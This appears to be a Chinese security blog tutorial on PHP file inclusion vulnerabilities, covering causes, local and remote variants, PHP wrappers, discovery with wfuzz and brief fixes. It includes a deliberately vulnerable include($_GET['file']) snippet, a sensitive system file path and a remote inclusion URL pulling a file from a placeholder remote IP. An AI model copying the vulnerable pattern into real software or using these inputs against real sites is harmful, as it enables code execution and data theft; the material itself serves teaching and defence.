文件包含漏洞

文件包含漏洞

1. 原理

1.1 为什么包含文件

包含内容:页头,页脚

包含函数:公共函数

减少重复编码,便于维护

1.2 原理

文件包含漏洞的原理是在Web应用程序中使用了不安全的文件包含函数(如include()、require()等),并且未对用户输入进行充分验证和过滤。攻击者可以利用这个漏洞来包含恶意文件并执行恶意代码。

文件包含漏洞通常发生在以下情况下:

  1. 未对用户输入进行验证和过滤:如果Web应用程序使用用户提供的输入来包含文件,而未对输入进行充分验证和过滤,攻击者可以通过构造恶意文件名来利用漏洞。
  2. 使用动态文件包含函数:动态文件包含函数(如include()、require())允许开发人员根据用户提供的输入包含不同的文件。如果开发人员未正确验证和过滤用户输入,攻击者可以通过注入恶意文件名来执行恶意代码。

以下是一个简单的示例,演示了一个可能存在文件包含漏洞的PHP代码:

<?php
$file = $_GET['file']; // 从用户输入获取文件名
include($file); // 包含用户指定的文件
?>

1.3 分类

本地文件包含Local file Inclusion

固定包含:<?php include 'example.php';?>
通过接口动态包含:?file=example.php
包含恶意代码或图片码
包含敏感文件 C:\Windows\system.ini

远程文件包含Remote file inclusion

配置:allow_url_fopen  allow_url_include
访问:http://localhost/fileinc/include.php?file=http://远程IP/1.txt

2. PHP函数

include()  
include_once()  只会包含一次,如果该文件已经被包含了就不回再包含,返回true
require()  与include()几乎一样,require()产生错误会终止允许
require_once()
fopen() 打开文件
readfile() 输出文件
highlight_file()高亮
show_source() 与highlight_file一样
file_get_content()  读取内容输出字符串
file() 读取文件
伪协议:伪协议是一种在PHP中用于访问不同资源的特殊协议格式,可以用于包含远程文件、读取本地文件等操作。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)   php://input
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

3. 利用与挖掘

URL中出现page,file,filename,include等等关键词

URL出现文件名

LFI Suite FUZZ

wfuzz -w dir ip?file=FUZZ  (看结果)

4. 修复方案

1、PHP配置

2、禁用动态包含

3、过滤协议、目录字符

4、设置文件白名单

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值